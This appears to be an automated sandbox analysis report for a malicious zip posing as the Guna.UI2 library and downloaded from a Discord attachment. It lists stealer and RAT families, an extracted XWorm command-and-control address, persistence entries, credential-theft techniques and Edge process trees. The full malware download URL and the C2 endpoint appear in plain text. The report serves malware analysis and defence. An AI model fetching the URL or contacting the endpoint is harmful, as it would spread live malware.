agenttesla | hxxps://cdn[.]discordapp[.]com/attachments/1270264454394810408/1277635356874903675/Guna[.]UI2[.]zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&

Analysis

max time kernel
174s
max time network
186s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
26-08-2024 15:24

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

https://cdn.discordapp.com/attachments/1270264454394810408/1277635356874903675/Guna.UI2.zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&

Score

10^/10

agenttesla stormkitty xenarmor xworm collection credential_access discovery execution keylogger password persistence rat recovery spyware stealer trojan upx

Malware Config

Extracted

Family

xworm

Version

5.0

147.185.221.21:56936

Mutex

n0N6IPW0T59PHntz

Attributes

Install_directory
%LocalAppData%
install_file
Windows Host Proccess.exe

aes.plain

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/2040-975-0x0000000006170000-0x0000000006182000-memory.dmp	family_xworm

StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral1/memory/2040-1353-0x000000000C090000-0x000000000C1AE000-memory.dmp	family_stormkitty

XenArmor Suite
XenArmor is as suite of password recovery tools for various application.
recovery password xenarmor
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/916-991-0x0000000005C80000-0x0000000005E94000-memory.dmp	family_agenttesla

Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Blocklisted process makes network request 4 IoCs

flow	pid	Process
218	2040	powershell.exe
223	2040	powershell.exe
235	2040	powershell.exe
237	2040	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3628	powershell.exe
5716	powershell.exe
2040	powershell.exe
436	powershell.exe
5788	powershell.exe
6008	powershell.exe
4604	powershell.exe

ACProtect 1.3x - 1.4x DLL software 5 IoCs

Detects file using ACProtect software.

resource	yara_rule
behavioral1/files/0x0008000000023652-1176.dat	acprotect
behavioral1/files/0x000b00000002364f-1171.dat	acprotect
behavioral1/files/0x0008000000023648-1166.dat	acprotect
behavioral1/files/0x0008000000023647-1161.dat	acprotect
behavioral1/files/0x0008000000023645-1156.dat	acprotect

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Host Proccess.lnk	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Host Proccess.lnk	powershell.exe

Executes dropped EXE 3 IoCs

pid	Process
916	GorillaExecutor.exe
1244	Windows Host Proccess
2820	All-In-One.exe

Loads dropped DLL 1 IoCs

pid	Process
2820	All-In-One.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0008000000023652-1176.dat	upx
behavioral1/files/0x000b00000002364f-1171.dat	upx
behavioral1/files/0x0008000000023648-1166.dat	upx
behavioral1/files/0x0008000000023647-1161.dat	upx
behavioral1/files/0x0008000000023645-1156.dat	upx

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	All-In-One.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Windows Host Proccess = "C:\\Users\\Admin\\AppData\\Local\\Windows Host Proccess"	powershell.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
217	ip-api.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
5352	2040	WerFault.exe	153

System Location Discovery: System Language Discovery 1 TTPs 20 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	All-In-One.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Windows Host Proccess

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	GorillaExecutor.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	GorillaExecutor.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	GorillaExecutor.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Children	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe\Children	msedge.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1194130065-3471212556-1656947724-1000\{65B28EB8-96E3-463A-A376-536C2CA6593D}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\DisplayName = "Chrome Sandbox"	msedge.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949\Moniker = "cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe"	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Mappings\S-1-15-2-993994543-2095643028-780254397-2751782349-1045596949-3142982554-3368930949	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\cr.sb.cdmf5200eafd3ad904629cbb0f87a78a3c7211081fe	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings	powershell.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
5984	schtasks.exe

Suspicious behavior: EnumeratesProcesses 42 IoCs

pid	Process
2568	msedge.exe
2568	msedge.exe
3408	msedge.exe
3408	msedge.exe
4272	identity_helper.exe
4272	identity_helper.exe
448	msedge.exe
448	msedge.exe
2056	msedge.exe
3572	msedge.exe
3572	msedge.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe
5716	powershell.exe
5716	powershell.exe
5716	powershell.exe
2040	powershell.exe
2040	powershell.exe
2040	powershell.exe
6008	powershell.exe
6008	powershell.exe
6008	powershell.exe
4604	powershell.exe
4604	powershell.exe
4604	powershell.exe
436	powershell.exe
436	powershell.exe
436	powershell.exe
5788	powershell.exe
5788	powershell.exe
5788	powershell.exe
2040	powershell.exe
1244	Windows Host Proccess
1244	Windows Host Proccess
1244	Windows Host Proccess
5984	msedge.exe
5984	msedge.exe
5984	msedge.exe
5984	msedge.exe
2820	All-In-One.exe
2820	All-In-One.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 18 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3628	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe
Token: 36	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe
Token: 36	5716	powershell.exe
Token: SeIncreaseQuotaPrivilege	5716	powershell.exe
Token: SeSecurityPrivilege	5716	powershell.exe
Token: SeTakeOwnershipPrivilege	5716	powershell.exe
Token: SeLoadDriverPrivilege	5716	powershell.exe
Token: SeSystemProfilePrivilege	5716	powershell.exe
Token: SeSystemtimePrivilege	5716	powershell.exe
Token: SeProfSingleProcessPrivilege	5716	powershell.exe
Token: SeIncBasePriorityPrivilege	5716	powershell.exe
Token: SeCreatePagefilePrivilege	5716	powershell.exe
Token: SeBackupPrivilege	5716	powershell.exe
Token: SeRestorePrivilege	5716	powershell.exe
Token: SeShutdownPrivilege	5716	powershell.exe
Token: SeDebugPrivilege	5716	powershell.exe
Token: SeSystemEnvironmentPrivilege	5716	powershell.exe
Token: SeRemoteShutdownPrivilege	5716	powershell.exe
Token: SeUndockPrivilege	5716	powershell.exe
Token: SeManageVolumePrivilege	5716	powershell.exe
Token: 33	5716	powershell.exe
Token: 34	5716	powershell.exe
Token: 35	5716	powershell.exe

Suspicious use of FindShellTrayWindow 34 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
916	GorillaExecutor.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe
3408	msedge.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2040	powershell.exe
2820	All-In-One.exe
2820	All-In-One.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3408 wrote to memory of 4176	3408	msedge.exe	84
PID 3408 wrote to memory of 4176	3408	msedge.exe	84
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 388	3408	msedge.exe	85
PID 3408 wrote to memory of 2568	3408	msedge.exe	86
PID 3408 wrote to memory of 2568	3408	msedge.exe	86
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87
PID 3408 wrote to memory of 4964	3408	msedge.exe	87

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1270264454394810408/1277635356874903675/Guna.UI2.zip?ex=66cde226&is=66cc90a6&hm=049b07351a3707b1f9fc6f2f69f9d8aac8242edc7fccdab28cf341b436be75f7&
1⤵
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3408
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffe5c9046f8,0x7ffe5c904708,0x7ffe5c904718
  2⤵
  PID:4176
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2164 /prefetch:2
  2⤵
  PID:388
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:2568
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:8
  2⤵
  PID:4964
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3348 /prefetch:1
  2⤵
  PID:3032
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:1
  2⤵
  PID:4112
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  PID:4648
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5424 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4272
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5484 /prefetch:1
  2⤵
  PID:3580
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5500 /prefetch:1
  2⤵
  PID:4356
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5720 /prefetch:8
  2⤵
  PID:4008
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5092 /prefetch:1
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5072 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:448
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5524 /prefetch:1
  2⤵
  PID:4840
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6068 /prefetch:1
  2⤵
  PID:1416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2144,16872145018078812718,16937246089847358470,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5884 /prefetch:1
  2⤵
  PID:5596
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
